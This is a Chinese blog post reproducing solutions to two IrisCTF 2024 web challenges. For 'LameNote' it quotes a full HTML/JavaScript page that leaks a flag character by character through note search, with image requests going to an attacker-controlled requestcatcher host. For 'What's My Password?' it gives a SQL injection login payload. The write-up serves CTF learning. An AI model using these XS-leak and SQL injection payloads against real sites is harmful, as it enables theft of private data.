IrisCTF 2024 部分web复现

发布于 2025-01-22  45 次阅读


IrisCTF 2024 部分web题目复现

LameNote

题目:

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300
https://lamenote-web.chal.irisc.tf
lamenote.tar.gz
lamenote-adminbot.tar.gz

Hint!
Please redownload if you downloaded server files at the start of the event.

By:sera

附件:

lamenote.tar.gz

lamenote-adminbot.tar.gz

参考复现 :

IrisCTF 2024 Writeup

irisCTF - [Lamenote]

先分析带有flagbot.js部分

const context = await browser.createIncognitoBrowserContext();创建的是一个空白浏览器环境

    const context = await browser.createIncognitoBrowserContext();
    const page = await context.newPage();
    await page.goto("https://lamenote-web.chal.irisc.tf/");
    const frameWrapper = await page.waitForSelector('iframe');
    const frame = await frameWrapper.contentFrame();
    await frame.type('input[name=title]', 'Flag');
    await frame.type('input[name=text]', 'irisctf{FAKEFLAGFAKEFLAG}');
    await frame.type('input[name=image]', 'https://i.imgur.com/dQJOyoO.png');
    await frame.click('form[method=post] button[type=submit]');
    await page.waitForTimeout(1000);
    await frameWrapper.dispose();

在生成笔记后访问我们给的链接

    await page.setExtraHTTPHeaders({"ngrok-skip-browser-warning": "please"});
    await page.goto(url);

然后看主页面

def check_request(f):
    @wraps(f)
    def inner(*a, **kw):
        secFetchDest = request.headers.get("Sec-Fetch-Dest", None)
        if secFetchDest and secFetchDest != "iframe":
            return "Invalid request"
        return f(*a, **kw)
    return inner

这个check_request装饰器要求所有的请求要通过iframe标签发起

@app.after_request
def csp(response):
    response.headers["Content-Security-Policy"] = (
        "default-src 'none'; frame-src 'self';"
    )
    if "image_url" in g:
        url = g.image_url
        parsed = urlparse(url)
        if host.match(parsed.netloc) and parsed.scheme in ["http", "https"]:
            response.headers["Content-Security-Policy"] += (
                "img-src " + parsed.scheme + "://" + parsed.hostname + ";"
            )
    response.headers["Cross-Origin-Opener-Policy"] = "same-origin"
    response.headers["Cross-Origin-Resource-Policy"] = "same-origin"
    response.headers["Cross-Origin-Embedder-Policy"] = "require-corp"
    return response

定义了csp函数用于设置csp头,接受处理完请求后生成的响应。@app.after_request装饰器确保每次响应生成后都会执行

   response.headers["Content-Security-Policy"] = (
       "default-src 'none';frame-src 'self';")
  • 默认情况下不允许加载任何资源。

  • 允许加载来自自身域名的框架资源。

    pscsp还不熟,下一篇博客总结一下

动态添加img-src

if "image_url" in g:
    url = g.image_url
    parsed = urlparse(url)
    if host.match(parsed.netloc) and parsed.scheme in ["http", "https"]:
        response.headers["Content-Security-Policy"] += (
            "img-src " + parsed.scheme + "://" + parsed.hostname + ";"
        )

检查是否存在image_url属性

存在则进行解析,域名只能符合host = re.compile("^[a-z0-9\.:]+$")(允许字母、数字、点和冒号)

协议要求为httphttps

满足则将这个域名添加到CSPimg-src规则中,允许从该域名加载图片资源。

response.headers["Cross-Origin-Opener-Policy"] = "same-origin"#只允许当前页面与同源页面共享上下文
response.headers["Cross-Origin-Resource-Policy"] = "same-origin"#限制了浏览器只允许同源页面访问资源
response.headers["Cross-Origin-Embedder-Policy"] = "require-corp"#只允许嵌入有CORP头的资源

以上限制了无法直接xss外带返回来拿到flag

@app.route("/create", methods=["POST"])
@check_request
def create():
    if (
        "<" in request.form.get("text", "(empty)")
        or "<" in request.form.get("title", "(empty)")
        or "<" in request.form.get("image", "")
    ):
        return "Really?"

    user = request.cookies.get("user", None)
    if user is None:
        user = secrets.token_hex(16)

    note = {
        "id": secrets.token_hex(16),
        "text": request.form.get("text", "(empty)"),
        "image": request.form.get("image", None),
        "title": request.form.get("title", "(empty)"),
        "owner": user,
    }
    NOTES[note["id"]] = note

    r = redirect("/note/" + note["id"])
    r.set_cookie("user", user, secure=True, httponly=True, samesite="None")
    return r

每个笔记和cookie绑定,可以看到全部存到了NOTES里面

/note/<nid>没验证但是id16位hex,直接爆破肯定不行

    query = request.args.get("query", "")
    user = request.cookies.get("user", None)
    results = []
    for note in NOTES.values():
        if note["owner"] == user and (query in note["title"] or query in note["text"]):
            results.append(note)
            if len(results) >= 5:
                break

searchquery搜索搭配将当前user的笔记添加到传回的results列表

    if len(results) == 1:
        return render_note(note)

    return (
        "<!DOCTYPE html><body>"
        + "".join(
            "<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> "
            for note in results
        )
        + "</body>"
    )

多于一个列表会化为几个对应笔记的链接

但是单个的话就会渲染出来,从而加载图片

而且题目给出了flag的范围irisctf{[a-z_]+}

伪造一个<iframe>的页面让bot.js触发表单的提交,因为我们无法更改原flag笔记的的图片链接,我们就去重新提交并匹配搜索flag头后面的一个个字母尝试,同时配上自己的图片链接确定是否有访问

当有一个没有被渲染造成图片链接访问的时候可以确定那一个就是目标的flag存在的一个字母

以下是来自https://www.ctfiot.com/154500.html的解法

<body>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    const prefix = "irisctf{please_";
    const chars = "abcdefghijklmnopqrstuvwxyz_";
    setTimeout(async () => {
        for (var i in chars) {
            form.title.value = prefix + chars[i];
            form.text.value = prefix + chars[i];
            form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
            form.submit();
            await sleep(500);
        }
        for (var i in chars) {
            form2.query.value = prefix + chars[i];
            form2.submit();
            await sleep(500);
        }
    }, 0);
</script>
<img src="https://[yours].requestcatcher.com/start">
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
    <input name="title">
    <input name="text">
    <input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
    <input name="query">
</form>
</body>

What’s My Password?

题目:

[baby] Oh no! Skat forgot their password (again)!

Can you help them find it?

https://whats-my-password-web.chal.irisc.tf

whats-my-password.tar.gz

By:User

附件:

whats-my-password.tar.gz

参考复现 :

IrisCTF 2024 Writeup

打开容器

image-20250123234418433

先看源码中flag的位置

是在数据库里,是( "skat", "fakeflg{fake_flag}");账号的密码

先拿其它账号登录发现

image-20250124003939612

        var result Account
        err = query.Scan(&result.Username, &result.Password)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            fmt.Println(err)
            return
        }
        encoded, err := json.Marshal(result)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            fmt.Println(err)
            return
        }

        w.Write(encoded)

当登录正确的时候是会直接返回获取到的用户名和密码的

    var UsernameRegex = `[^a-z0-9]`
//............................
        matched, err := regexp.MatchString(UsernameRegex, input.Username)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            return
        }

有对用户名限制只允许数字字母,不过没对密码限制

看看拼接部分

        qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)

        query, err := DB.Query(qstring)

也没验证处理,就"闭合后(注意要\转义)OR开启新世界

然后直接咨询username = "skat"即构造为

{"username":"aaa","password":"\" OR username = \"skat"}

image-20250124005219429

QQ:2219349024
最后更新于 2025-01-24